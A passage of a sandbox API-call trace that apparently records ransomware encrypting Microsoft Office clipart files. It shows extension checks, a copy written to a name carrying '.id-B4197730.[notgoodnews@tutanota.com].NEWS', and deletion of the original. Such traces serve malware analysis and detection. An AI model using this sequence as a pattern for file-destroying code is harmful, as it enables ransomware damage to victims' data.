lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.542] lstrlenW (lpString=".xlsx") returned 5 [0183.542] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.542] lstrlenW (lpString=".ppt") returned 4 [0183.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.543] lstrlenW (lpString=".zip") returned 4 [0183.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.543] lstrlenW (lpString=".rar") returned 4 [0183.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString=".bz2") returned 4 [0183.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString=".7z") returned 3 [0183.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.543] lstrlenW (lpString=".dbf") returned 4 [0183.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.543] lstrlenW (lpString=".1cd") returned 4 [0183.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.543] lstrlenW (lpString=".jpg") returned 4 [0183.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.543] lstrlenW (lpString=".doc") returned 4 [0183.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString=".docx") returned 5 [0183.543] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.543] lstrlenW (lpString=".pdf") returned 4 [0183.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.543] lstrlenW (lpString=".xls") returned 4 [0183.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.543] lstrlenW (lpString=".xlsx") returned 5 [0183.543] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.544] lstrlenW (lpString=".ppt") returned 4 [0183.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.544] lstrlenW (lpString=".zip") returned 4 [0183.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.544] lstrlenW (lpString=".rar") returned 4 [0183.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.544] lstrlenW (lpString=".bz2") returned 4 [0183.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.544] lstrlenW (lpString=".7z") returned 3 [0183.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.544] lstrlenW (lpString=".dbf") returned 4 [0183.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.544] lstrlenW (lpString=".1cd") returned 4 [0183.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.544] lstrlenW (lpString=".jpg") returned 4 [0183.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.544] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.544] lstrlenW (lpString="J0107488.WMF") returned 12 [0183.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.545] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=8000) returned 1 [0183.545] CloseHandle (hObject=0x36c) returned 1 [0183.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220 [0183.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.546] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.546] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.547] GetLastError () returned 0x0 [0183.547] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1f40, lpOverlapped=0x0) returned 1 [0183.549] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0183.550] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.551] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.551] SetEndOfFile (hFile=0x53c) returned 1 [0183.551] CloseHandle (hObject=0x53c) returned 1 [0183.551] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.551] SetEndOfFile (hFile=0x36c) returned 1 [0183.554] CloseHandle (hObject=0x36c) returned 1 [0183.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0183.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.556] lstrlenW (lpString=".doc") returned 4 [0183.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString=".docx") returned 5 [0183.556] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.556] lstrlenW (lpString=".pdf") returned 4 [0183.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString=".xls") returned 4 [0183.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.556] lstrlenW (lpString=".xlsx") returned 5 [0183.556] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.556] lstrlenW (lpString=".ppt") returned 4 [0183.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.556] lstrlenW (lpString=".zip") returned 4 [0183.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.556] lstrlenW (lpString=".rar") returned 4 [0183.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString=".bz2") returned 4 [0183.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString=".7z") returned 3 [0183.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.556] lstrlenW (lpString=".dbf") returned 4 [0183.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.556] lstrlenW (lpString=".1cd") returned 4 [0183.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.556] lstrlenW (lpString=".jpg") returned 4 [0183.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.557] lstrlenW (lpString=".doc") returned 4 [0183.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString=".docx") returned 5 [0183.557] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.557] lstrlenW (lpString=".pdf") returned 4 [0183.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString=".xls") returned 4 [0183.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.557] lstrlenW (lpString=".xlsx") returned 5 [0183.557] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.557] lstrlenW (lpString=".ppt") returned 4 [0183.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.557] lstrlenW (lpString=".zip") returned 4 [0183.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.557] lstrlenW (lpString=".rar") returned 4 [0183.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString=".bz2") returned 4 [0183.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString=".7z") returned 3 [0183.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.557] lstrlenW (lpString=".dbf") returned 4 [0183.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.557] lstrlenW (lpString=".1cd") returned 4 [0183.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0183.557] lstrlenW (lpString=".jpg") returned 4 [0183.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.558] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.558] lstrlenW (lpString="J0107490.WMF") returned 12 [0183.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.559] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=16468) returned 1 [0183.559] CloseHandle (hObject=0x36c) returned 1 [0183.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220 [0183.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.559] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.559] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.560] GetLastError () returned 0x0 [0183.560] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4054, lpOverlapped=0x0) returned 1 [0183.993] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4060, lpOverlapped=0x0) returned 1 [0184.023] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.023] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.023] SetEndOfFile (hFile=0x53c) returned 1 [0184.033] CloseHandle (hObject=0x53c) returned 1 [0184.039] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.039] SetEndOfFile (hFile=0x36c) returned 1 [0184.061] CloseHandle (hObject=0x36c) returned 1 [0184.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0184.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.243] lstrlenW (lpString=".doc") returned 4 [0184.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.243] lstrlenW (lpString=".docx") returned 5 [0184.243] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0184.243] lstrlenW (lpString=".pdf") returned 4 [0184.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.243] lstrlenW (lpString=".xls") returned 4 [0184.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.243] lstrlenW (lpString=".xlsx") returned 5 [0184.243] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0184.244] lstrlenW (lpString=".ppt") returned 4 [0184.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.244] lstrlenW (lpString=".zip") returned 4 [0184.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.244] lstrlenW (lpString=".rar") returned 4 [0184.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString=".bz2") returned 4 [0184.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString=".7z") returned 3 [0184.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.244] lstrlenW (lpString=".dbf") returned 4 [0184.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.244] lstrlenW (lpString=".1cd") returned 4 [0184.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.244] lstrlenW (lpString=".jpg") returned 4 [0184.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.251] lstrlenW (lpString=".doc") returned 4 [0184.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString=".docx") returned 5 [0184.251] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0184.251] lstrlenW (lpString=".pdf") returned 4 [0184.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString=".xls") returned 4 [0184.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.251] lstrlenW (lpString=".xlsx") returned 5 [0184.251] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0184.251] lstrlenW (lpString=".ppt") returned 4 [0184.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.251] lstrlenW (lpString=".zip") returned 4 [0184.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.251] lstrlenW (lpString=".rar") returned 4 [0184.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString=".bz2") returned 4 [0184.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString=".7z") returned 3 [0184.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.251] lstrlenW (lpString=".dbf") returned 4 [0184.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.251] lstrlenW (lpString=".1cd") returned 4 [0184.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0184.251] lstrlenW (lpString=".jpg") returned 4 [0184.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.252] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.252] lstrlenW (lpString="J0107502.WMF") returned 12 [0184.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.280] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10836) returned 1 [0184.280] CloseHandle (hObject=0x518) returned 1 [0184.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220 [0184.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.388] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.388] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.389] GetLastError () returned 0x0 [0184.390] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2a54, lpOverlapped=0x0) returned 1 [0184.418] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0184.428] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.428] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.428] SetEndOfFile (hFile=0x53c) returned 1 [0184.428] CloseHandle (hObject=0x53c) returned 1 [0184.428] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.428] SetEndOfFile (hFile=0x518) returned 1 [0184.433] CloseHandle (hObject=0x518) returned 1 [0184.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0184.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.436] lstrlenW (lpString=".doc") returned 4 [0184.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString=".docx") returned 5 [0184.437] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.437] lstrlenW (lpString=".pdf") returned 4 [0184.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString=".xls") returned 4 [0184.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.437] lstrlenW (lpString=".xlsx") returned 5 [0184.437] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.437] lstrlenW (lpString=".ppt") returned 4 [0184.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString="C:\\Program Files\\Microsoft 